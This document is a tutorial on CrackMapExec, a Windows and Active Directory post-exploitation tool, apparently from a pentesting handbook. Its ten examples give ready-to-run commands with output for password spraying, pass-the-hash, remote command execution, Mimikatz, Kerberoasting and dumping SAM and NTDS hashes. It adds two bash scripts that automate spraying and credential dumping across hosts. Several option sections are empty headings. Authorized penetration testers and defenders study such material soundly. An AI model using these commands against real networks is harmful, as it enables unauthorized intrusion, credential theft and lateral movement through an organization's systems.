crackmapexec: A tool for pentesters to automate exploitation of Windows networks

1. Tool Introduction

CrackMapExec (commonly abbreviated CME) is a post-exploitation and Active Directory reconnaissance tool designed to automate the assessment of large Windows/AD networks. Often described as a “Swiss Army knife” for AD environments, CME can authenticate against and enumerate SMB, WinRM, SSH, LDAP, MSSQL, and RDP services across an entire subnet in a single command, spray credentials, execute commands remotely, dump credentials (SAM, LSA secrets, NTDS.dit), enumerate shares/users/groups, and check for common misconfigurations (e.g., MS17-010, Zerologon, SMB signing disabled). It is built on top of the Impacket library and integrates a Metasploit-style module system (-M) for extensible functionality (e.g., Mimikatz, spidering shares, executing PowerShell payloads).

Note: The original CrackMapExec project has been archived/is no longer actively maintained by its original author; the community-maintained, actively developed continuation is NetExec (NXC), covered in section 14.7. Many organizations and Kali releases still ship or reference CrackMapExec, so it remains important to understand.

2. How to Install

# On Kali Linux (may already be present or replaced by netexec in newer releases):
sudo apt update
sudo apt install crackmapexec -y

# Verify installation
crackmapexec --version

Installing via pipx (recommended for the latest CME release, since apt versions can lag):

sudo apt install pipx -y
pipx install crackmapexec
pipx ensurepath

Installing from source:

git clone https://github.com/Porchetta-Industries/CrackMapExec.git
cd CrackMapExec
poetry install
poetry run crackmapexec

3. Syntax

crackmapexec <protocol> <target(s)> [options]

Where <protocol> is one of: smb, winrm, ssh, ldap, mssql, rdp, ftp, vnc.

4. Command-Line Options (Kali Linux)

Target & general options:

Authentication options:

SMB-specific enumeration/exploitation options:

LDAP-specific options:

MSSQL-specific options:

5. Basic Usage (Expected Output in Bash)

$ crackmapexec smb 10.10.10.0/24
SMB   10.10.10.5   445   DC01    [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB   10.10.10.12  445   WKS02   [*] Windows 10.0 Build 19045 x64 (name:WKS02) (domain:CORP) (signing:False) (SMBv1:False)

6. Practical Examples with Output

Example 1 – Password spraying across a subnet

$ crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Summer2024!' --continue-on-success
SMB   10.10.10.12  445   WKS02   [+] CORP\jdoe:Summer2024!
SMB   10.10.10.15  445   WKS05   [+] CORP\asmith:Summer2024!

Example 2 – Pass-the-hash authentication

$ crackmapexec smb 10.10.10.5 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
SMB   10.10.10.5   445   DC01    [+] CORP\administrator (Pwn3d!)

Example 3 – Enumerating SMB shares

$ crackmapexec smb 10.10.10.5 -u jdoe -p 'Summer2024!' --shares
SMB   10.10.10.5   445   DC01    [+] Enumerated shares
SMB   10.10.10.5   445   DC01    Share           Permissions     Remark
SMB   10.10.10.5   445   DC01    -----           -----------     ------
SMB   10.10.10.5   445   DC01    C$              READ,WRITE      Default share
SMB   10.10.10.5   445   DC01    NETLOGON        READ            Logon server share

Example 4 – Executing a command remotely

$ crackmapexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!' -x "whoami"
SMB   10.10.10.5   445   DC01    [+] Executed command
SMB   10.10.10.5   445   DC01    nt authority\system

Example 5 – Dumping SAM hashes

$ crackmapexec smb 10.10.10.12 -u administrator -p 'P@ssw0rd!' --sam
SMB   10.10.10.12  445   WKS02   [+] Dumped SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Example 6 – Kerberoasting via LDAP module

$ crackmapexec ldap 10.10.10.5 -u jdoe -p 'Summer2024!' --kerberoasting kerb_hashes.txt
LDAP  10.10.10.5   389   DC01    [+] Found 3 accounts with SPNs, saved to kerb_hashes.txt

Example 7 – Loading the Mimikatz module

$ crackmapexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!' -M mimikatz
SMB   10.10.10.5   445   DC01    [+] Executed Mimikatz module
MIMIKATZ  10.10.10.5   445   DC01    Administrator  NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

Example 8 – Checking for MS17-010 vulnerability across a range

$ crackmapexec smb 10.10.10.0/24 -M ms17-010
SMB   10.10.10.30  445   LEGACY01   [*] MS17-010 VULNERABLE

Example 9 – Enumerating logged-on users

$ crackmapexec smb 10.10.10.12 -u administrator -p 'P@ssw0rd!' --loggedon-users
SMB   10.10.10.12  445   WKS02   [+] CORP\jdoe          logged on locally

Example 10 – Dumping NTDS.dit from a domain controller

$ crackmapexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!' --ntds
SMB   10.10.10.5   445   DC01    [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB   10.10.10.5   445   DC01    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

7. Common Use Cases

• Domain-wide credential spraying and pass-the-hash validation during internal penetration tests.
• Rapid identification of hosts with SMB signing disabled or vulnerable to known SMB exploits (MS17-010, PetitPotam, etc.).
• Enumerating shares, users, groups, and logged-on sessions across every host in a domain in a single pass.
• Kerberoasting/AS-REP roasting to harvest crackable service-account/user hashes via LDAP.
• Post-compromise lateral movement: executing commands and pulling credential material (SAM/LSA/NTDS) once valid creds or a hash are obtained.
• Building an initial “attack map” of a large AD environment before deeper manual exploitation.

8. Automation with Bash

#!/bin/bash
# cme_full_sweep.sh - Chain multiple CrackMapExec checks across a target subnet

TARGET_RANGE="10.10.10.0/24"
USER_LIST="users.txt"
PASS="Summer2024!"
OUTPUT_DIR="./cme_results"
mkdir -p "$OUTPUT_DIR"

echo "[*] Enumerating hosts..."
crackmapexec smb "$TARGET_RANGE" | tee "$OUTPUT_DIR/hosts.txt"

echo "[*] Checking MS17-010..."
crackmapexec smb "$TARGET_RANGE" -M ms17-010 | tee "$OUTPUT_DIR/ms17-010.txt"

echo "[*] Spraying credentials..."
crackmapexec smb "$TARGET_RANGE" -u "$USER_LIST" -p "$PASS" --continue-on-success | tee "$OUTPUT_DIR/spray.txt"

echo "[*] Done. Results saved under $OUTPUT_DIR"

#!/bin/bash
# cme_dump_creds.sh - Once admin creds are known, dump SAM/LSA across a host list

TARGETS="admin_hosts.txt"
USER="administrator"
PASS="P@ssw0rd!"

while IFS= read -r host; do
  echo "=== $host ==="
  crackmapexec smb "$host" -u "$USER" -p "$PASS" --sam --lsa
done < "$TARGETS"

9. Tips and Best Practices

• Use --continue-on-success when password spraying so the tool keeps testing all hosts instead of stopping at the first success.
• Prefer -H (pass-the-hash) over plaintext passwords when you’ve already obtained NTLM hashes — no cracking required.
• Combine -d <domain> with -u/-p for domain accounts; omit or use --local-auth for local account testing.
• Throttle threading (-t) on sensitive/production networks to avoid account lockouts or excessive load.
• Use modules (-M) rather than manual scripting wherever possible — the module ecosystem (spider_plus, enum_av, met_inject, etc.) covers most common post-exploitation tasks.
• Since the original project is archived, evaluate moving to NetExec (section 14.7) for continued updates, bug fixes, and new protocol support.

10. Troubleshooting

11. References

• GitHub repository (archived): https://github.com/Porchetta-Industries/CrackMapExec
• Kali Linux tool page: https://www.kali.org/tools/crackmapexec/
• CrackMapExec wiki: https://mpgn.gitbook.io/crackmapexec
• Successor project, NetExec: https://github.com/Pennyw0rth/NetExec